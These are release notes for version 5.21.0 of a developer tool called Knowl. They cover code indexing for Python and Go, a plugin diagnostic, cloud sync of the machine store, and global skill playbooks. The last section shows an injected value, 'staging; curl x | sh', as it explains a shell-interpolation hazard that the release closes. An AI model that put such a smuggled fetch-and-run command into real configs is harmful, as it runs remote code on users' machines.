Skip to content

v5.21.0

Choose a tag to compare

@github-actions github-actions released this 04 Sep 12:55
· 15 commits to main since this release
decb425

The code index reads Python and Go. The Tree-sitter index behind symbol:// locators, the
per-symbol read set and certain-tier impact detection covered .ts, .tsx, .js and .jsx
only; a .py or .go file was skipped without a word, so a session that read one recorded a
single file:// row and a comment-only edit reported it as moved. Both languages now index:
Python def/class definitions (decorated or not), class members as Class.member, module-level
assignments and both import forms; Go functions, methods qualified by receiver type as
Type.Method, type specs and aliases under a new type kind, const/var specs and every
import path. A Python or Go function's signature stops at the end of its header — a Python
block begins at its first statement, so the comment lines above it are cut too — and a body edit
leaves the hash alone while a parameter or decorator change moves it; a struct or interface is cut
at its keyword like a class at its brace, so a field comment does not move it either. __pycache__,
.venv, venv and vendor join the directories the walk never enters — a first-party directory
by one of those names loses its rows on the next pass, and symbol evidence citing them reads stale
from then on — and go.sum, poetry.lock, uv.lock and Pipfile.lock join the churn paths
drift ignores. Two more prebuilt grammars, no install-time compilation on any platform CI runs.

A Hermes session whose folder is not a Knowl project now says so, once. Every lifecycle
event returned early and silently in that case, so the plugin loaded, hermes plugins doctor knowl reported two tools and seven hooks, and nothing recorded or recalled anything -- a state
indistinguishable from a healthy integration. The common way in is that knowl init hermes is
machine-wide and one-time, while knowl init is per repository, so opening a repo that never had
the second is easy.

The note names the folder and points at knowl init, and it is said once per session rather
than once per event -- seven events a turn would make it noise. It is withheld entirely from
someone with no machine-wide store, where an unsolicited "run knowl init" would be an advert
rather than a diagnosis.

Two smaller corrections fell out of the same path. The card's heading claimed "no project open
for this session" even when a folder was open, and its advice was "open a repository as this
session's folder" -- which someone who already had one open reads as a broken diagnosis. Those
two situations now get different wording, because they need opposite remedies. Closes #250.
The machine-wide store can sync to a cloud workspace, and knowl cloud finds it on its own.
Personal defaults were local forever: everything under src/cloud/ takes a project root and reads
that project's pointer, so ~/.knowl/global.db had no route to a workspace and a new laptop
started empty.

It needed no server change, no schema change and no new gate, because the machine store was
already almost a project. loadConfig has always substituted ~/.knowl/config.json when handed
the machine home; global.db already carries the cloud ledger tables; publishing stopped
consulting the git gate on 2026-08-13, so a directory that is not a checkout can still push; and
connect --repo already existed for a project with no git remote. The one thing missing was the
matching substitution in initDb, which resolved ~/.knowl/.knowl/knowl.db — nobody's store, and
an error on open. With that pair aligned, a root is again the only thing a cloud command needs.

  • --global on connect, stage, unstage, push, pull, status and autopush, the
    same word knowl init --global already uses: act on the machine, not on this directory.
  • Outside a repository the machine store is used automatically, with a line on stderr saying
    so. The inference is narrow on purpose: only when there is no project above the directory at
    all. A project whose config will not parse is an error about that project, never quietly
    answered from personal defaults — the same distinction the MCP server draws, and kept as its own
    named predicate for the same reason: findProjectRoot raises exactly one error type, so a
    widened guard cannot be caught end to end. Verified by mutation, where broadening it passed
    every behavioural test.
  • Auto-staging works there too, and needed no code of its own: with the database seam fixed, a
    write to the machine store resolves the machine config, finds its pointer and queues the atom
    exactly as a project write does.

send, receive and retract are unchanged. The first two are a person-to-person transfer
rather than workspace sync; the third acts on one already-published id.

Choosing the workspace is unchanged -- --workspace <id>, or the same picker when you belong to
more than one -- and the machine store publishes on the same terms as a project: connect writes
a pointer and sends nothing, push asks first unless given --yes. It connects under the name
personal, because with no git remote the identity would otherwise fall through to the directory
name .knowl: unreadable in a listing, and identical for every person, so two people connecting
their machine stores to one workspace would collide. --repo overrides it.

Global skills: reusable playbooks with project bindings. A skill can now live once on the machine (~/.knowl/skills/<name>/) as a reusable playbook, while each repository provides its own commands and paths via project bindings in .knowl/config.json. A playbook and a binding are two keys: neither runs anything alone.

  • Layering and Shadowing: Project skills shadow global skills of the same name. knowl skill list identifies whether each skill is project or global.
  • requires block: Manifests (skill.yaml or skill.json) declare inputs, capabilities (process, network, write, publish, delete), and fail-closed preconditions (clean_worktree, on_branch:<name>, command_exists:<bin>).
  • Strict interpolation: Only ${inputs.*} is substituted; shell expansions, environment variables, or missing inputs fail closed before running. A shell entrypoint cannot interpolate at all — see below.
  • Approval and planted-package protection: knowl skill approve <name> --global records trust in ~/.knowl/skill-trust.json. Capabilities with external effects require explicit confirmation. A repository shipping both a local skill and a binding cannot self-approve.
  • Visible run banner: Every run displays a banner with the fully resolved command, working directory, declared capabilities, and verified preconditions. Capabilities are declarations, not a sandbox.
  • Pinning and provenance: Bindings can pin a version; manifests track origin provenance.

A shell skill entrypoint can no longer interpolate ${inputs.*}. A shell entrypoint is a
command string, so a bound value was spliced into it as syntax rather than as a value:
deploy ${inputs.target} with target bound to staging; curl x | sh is two commands. The rule
already existed one branch earlier -- a shell entrypoint refuses runtime arguments because "no
quoting is correct for both cmd.exe and POSIX shells" -- and interpolation, which arrived with
global playbooks, carried the same hazard with a sharper edge: a binding comes from a project's
config, so a repository could decide what an already-approved global playbook runs, and approval
would stop covering everything that determines the command.

Both safe routes remain, and the refusal names them. Every bound input is now exported as
KNOWL_SKILL_INPUT_<NAME>, which the command reads rather than the shell parsing it; or use a
script entrypoint, whose arguments are passed as an array and never reach a shell. Script
entrypoints are unaffected, which is what the documented example already used.